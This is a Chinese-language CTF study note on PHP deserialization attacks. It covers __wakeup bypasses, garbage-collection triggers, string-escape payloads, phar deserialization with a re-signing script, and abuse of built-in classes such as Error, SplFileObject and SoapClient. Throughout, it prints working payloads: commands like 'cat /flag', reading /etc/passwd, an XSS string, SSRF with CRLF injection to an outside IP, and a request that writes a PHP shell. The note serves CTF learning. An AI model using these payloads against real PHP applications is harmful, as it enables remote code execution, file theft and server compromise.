必知知识

protected 和 private

private:变量名前加”%00[类名]%00”

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}

protected:变量名前加”%00*%00”

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__sleep() //serialize()函数会先检查类是否存在有一个魔术方法__sleep()。如果存在,该方法会被先调用,然后再执行序列化操作。
__wakeup() //unserialize之前会检查是否存在一个__wakeup函数 如果存在 就会先调用这个方法 然后再反序列化 //执行之前
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

绕过__wakeup()

当成员属性数目大于实际数目

1
2
3
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
改成
O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;}

&=

意思是把两个变量指向同一内存地址,这样当对其中一个变量进行操作时,另一个也会随之变化。不仅可以应用于绕过__wakeup(),其实更常用在为了满足特定条件而使用。

EX:下题就利用了&=,但是实际执行了wakeup,只是通过&=的特性让其满足if的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);

class ctf{
public $key;

public function __destruct()
{
echo "destruct<br>";
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}

public function __wakeup(){
echo "wakeup<br>";
$this->wakeup=True;
}
}


unserialize($_GET['ctf']);
/**
$a = new ctf();
$a->key = &$a->wakeup;
echo serialize($a);
序列化数据:O:3:"ctf":2:{s:3:"key";N;s:6:"wakeup";R:2;}
**/

使用C绕过

序列化数据把第一个O改成C即可,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容,不过可以使用原生类打包的方式来绕过,也是绕过/^[Oa]:[/d]+/过滤的方法之一。

[LitCTF 2025]君の名は就考了绕过/^[Oa]:[/d]+/过滤,使用原生类打包。

以C开头的原生类

[如果要使用原生类打包的话,运行链子建议在较低版本运行,我使用的是5.xx,因为高版本php序列化出来的数据不是C开头,而是O]

1
2
3
4
5
6
7
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

PHP GC回收机制

1
2
3
4
5
GC的全称是Garbage Collection也就是垃圾回收的意思
在PHP中,是使用引用计数和回收周期来自动管理内存对象的,当一个对象被设置为NULL
或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉,这里其实就可以理解为当一个对象没有被引用时,
也就是基本类型(字符串,整形等等),被引用也就是一个对象(Object),
在这可以理解为一个对象没有被引用时就会被GC机制回收

当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用。

1
2
3
4
<?php
$a="Sauy";
xdebug_debug_zval("a");
?>

输出:

1
2
a:
(refcount=1, is_ref=0)string 'Sauy' (length=4)

有一个变量a,且未被引用故为false

变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。

php反序列化的引用

GC如果在PHP反序列化中生效,那它就会直接触发_destruct方法

unset处理的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $num;
public function __construct($num) {
$this->num = $num; echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
$b = new test(2);
$c = new test(3);
/*
1__construct
2__construct
3__construct
3__destruct()
2__destruct()
1__destruct()
*/

但是当我我们加上unset时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $num;
public function __construct($num) {
$this->num = $num; echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);
/*
1__construct
1__destruct()
2__construct
3__construct
3__destruct()
2__destruct()
*/

发现destruct被提前触发

当对象为**NULL**

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$flag = "flag{test_flag}";

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = unserialize($_GET['ctf']);
throw new Exception('nonono');

这段代码正常情况下因为抛出异常无法触发destruct,这个时候就需要gc机制来触发

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array('a'=>new B,'b'=>NULL);

echo serialize($a);
//a:2:{s:1:"a";O:1:"B":0:{}s:1:"b";N;}

把b改为a就可以绕过 即在反序列化时,会下先让a赋值为类B,之后再将a赋值为NULL,但一开始a已经是对象了,赋值为NULL时就会出现对象为NULL的情况,从而触发__destruct

a:2:{s:1:”a”;O:1:”B”:0:{}s:1:”a”;N;}

这种方法也是php序列化常用的trick

phar序列化的应用

方法类似于php反序列化

不过phar文件是需要签名 生成了一般的phar文件不能010直接改需要脚本改

例题:prize_p1 | NSSCTF

wp:[关于gc回收机制在phar序列化的一次例题](https://sauy.top/2025/07/22/NSSCTF prize_p1/)

字符串逃逸

原理

Q:为何要进行字符串逃逸?

当我们通过pop或者其他方式不可以修改目标的值时,可以通过控制可控变量来进行修改目标的值,从而达成攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

如果本题我们传入key=badbad:

1
O:7:"GetFlag":2:{s:3:"key";s:6:"badbad";s:3:"cmd";s:6:"whoami";}

但是由于str_place 会将bad替换为good,变为:

1
O:7:"GetFlag":2:{s:3:"key";s:6:"goodgood";s:3:"cmd";s:6:"whoami";}

s:6:"goodgood"; 这样写是错误的 php只能解析到’goodgo‘ 多出的od就会被丢弃 但是这里由于传入格式错误 所以不可行 我们可以考虑用这种原理,来构造合法的字符串修改cmd的值。

我们想构造:

1
2
3
O:7:"GetFlag":2:{s:3:"key";s:N:"N个长度的字符串";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
key=N个长度的字符串";s:3:"cmd";s:2:"ls";}
";s:3:"cmd";s:2:"ls";}

就是我们想要逃逸出去的字符,我们希望N个长度的字符串的长度恰好到双引号之前,此时我们的输入就会作为合法的序列化数据进行处理,后续原本的 “;s:3:”cmd”;s:6:”whoami”;} 就会被丢弃。

我们需要插入的字符总共有22位,因此需要逃逸出22个字符,一个bad可以逃逸出1个字符,因此需要22个bad,构造Exp如下:

1
2
3
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
变为:
O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

最后的”;s:3:”cmd”;s:6:”whoami”;}就会被抛弃 成功修改了cmd的值

最后要读flag我们需要构造 ";s:3:"cmd";s:9:"cat /flag";} 一共29个 那么需要29个bad变为good

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad”;s:3:”cmd”;s:9:”cat /flag”;}

字符串增多

原理:通过闭合来修改我们想要修改属性的值

[NepCTF2024]PHP_MASTER!!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
}

class B
{
public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}
}
}
class C
{
public $s;
public $str;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);
O:1:"C":2:{s:1:"s";s:1:"a";s:3:"str";O:1:"B":1:{s:1:"b";N;}}

s后面的部分:";s:3:"str";O:1:"B":1:{s:1:"b";N;}}这就是我们需要逃逸的部分,一个%00可以逃逸一个字符,而我们需要逃逸35个字符,就需要35个%00

1
c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";N;}}

这样就可以到B类的__tostring()方法了。

同样的,我们还需要让B类的$b变成phpinfo:

“;s:3:”str”;O:1:”B”:1:{s:1:”b”;s:7:”phpinfo”;}}

一共47个字符,那么我们就需要47个%00

1
c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}

总payload:

1
c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0&nep=NepCTNep

字符串减少(较难)

原理:是逃逸出一个新的属性

Phar反序列化

PHAR是类似于java里的jar包

联系:文件包含里 phar伪协议可以直接读取.phar文件

漏洞原理:使用phar伪协议解析文件的时 ,会自动触发对manifest字段的序列化字符串进行反序列化

phar需要php>5.2

其他的看题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>

利用phar伪协议去读取.phar文件然后再进行执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
例题:[NSSRound#4 SWPU]1zweb
php -d phar.readonly=0 D:\ctf\WEB\test\test.php
查看index.php 和 upload.php
不难就是利用eval phar反序列化 主要讲payload1和paylaod2
payload1:生成要被反序列化的phar文件
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
$this->cmd="system('cat /flag');";
}
}
$phar = new Phar('sauy.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$a = new LoveNss();
$$phar->setMetadata($$a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>


payload2:主要是为了绕过wakeup函数 我们就需要修改成员属性 这里签名就会失效 所以需要重新签名 最重要的点就是签名算法要用sha256 而不是网上写的sha1
import gzip
from hashlib import sha256
with open('sauy.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('sauy122.png', 'wb') as file:#更改文件后缀
file.write(newf)
//然后就是上传 sauy122.png文件 使用phar协议来读取文件达到phar反序列化的目的
上传成功 post传入:file=phar://./upload/sauy122.png

原生类

C开头

1
2
3
4
5
6
7
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

绕MD5/SHA1 XSS

使用Error/Exception内置类 这两个类使用方法一样的

1
2
适用于php7版本
在开启报错的情况下(这个默认都是开启的)

Error中也有个__toString(),可以控制它的内容实现字符串的输出。

XSS

1
2
3
4
<?php
highlight_file(__FILE__);
echo unserialize($_GET['ctf'])
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A34%3A%22%3Cscript%3Ealert%28%27xss+test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Caaa.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

img

MD5/SHA1

img

会以字符串的形式输出当前的错误信息,包含当前的错误信息(”payload”)还有当前报错的行号(”2”)

那么如果两个同样的类在同一行,那么它的返回值一定是一样的,只要咱们传递的第二个参数不同的话,就可以实现绕过了。

1
2
3
4
<?php
$a = new Error("null", 1);$b = new Error("null", 2);
echo $a."<br>".$b;
?>

输出

1
2
Error: null in D:\phpstudy_pro\WWW\aaa.php:2 Stack trace: #0 {main}
Error: null in D:\phpstudy_pro\WWW\aaa.php:2 Stack trace: #0 {main}

[2020 Geek Challenge GreatPHP]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
$a=new Exception($str,1);$b=new Exception($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

文件操作

遍历文件

1
2
3
DirectoryIterator 
FilesystemIterator
GlobIterator

配合glob://遍历文件,可以搭配伪协议使用。

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件

读文件

SplFileObject类

1
2
3
4
5
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

SSRF

SoapClient 类

1
2
3
该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。
正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

构造函数为:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

·第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。

·第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。

使用前提:

1
2
3
1.需要有soap扩展,且不是默认开启,需要手动开启
2.需要调用一个不存在的方法触发其__call()函数
3.仅限于http/https协议

使用示例:

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

SSRF + CRLF 配合

使用SoapClient反序列化+CRLF 可以生成任意POST请求

EX1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://47.xxx.xxx.72:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

EX2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$target = 'http://127.0.0.1/flag.php';
// 填入post的数据
$post_string = 'a=file_put_contents("shell.php", "<?php phpinfo();?>");';
// 填入你想要的http头
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: aaaa=ssss'
);

$user_agent = 'aaa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string;

$options = array(
'location' => $target,
'user_agent'=> $user_agent,
'uri'=> "aaab"
);

$b = new SoapClient(null, $options);

$aaa = serialize($b);
$aaa = str_replace('^^', '%0d%0a', $aaa);
$aaa = str_replace('&', '%26', $aaa);
echo $aaa;
?>

XXE

SimpleXMLElement类

img

img

可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程 xml 文件的载入。第二个参数的常量值我们设置为 2 即可。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

[SUCTF 2018]Homework

Trick

过滤属性名称

用大写的S后跟的名称,php会当成16进制解析

1
2
3
4
5
6
O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}

O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";}
O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}

O:8:"passthru":2:{s:1:"S";S:20:"\70\61\73\73\74\68\72\75\28\22\63\61\74\20/\66*\22\29;";s:3:"dir";N;}

过滤类名

大小写绕过

类内方法调用

静态:

1
2
A::test();
['A','test']();

动态:

1
2
A::test();
['A','test']();

部分参考链接(有一些记不到了)

1
2
3
https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/
https://chenxi9981.github.io/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/
https://xz.aliyun.com/news/11289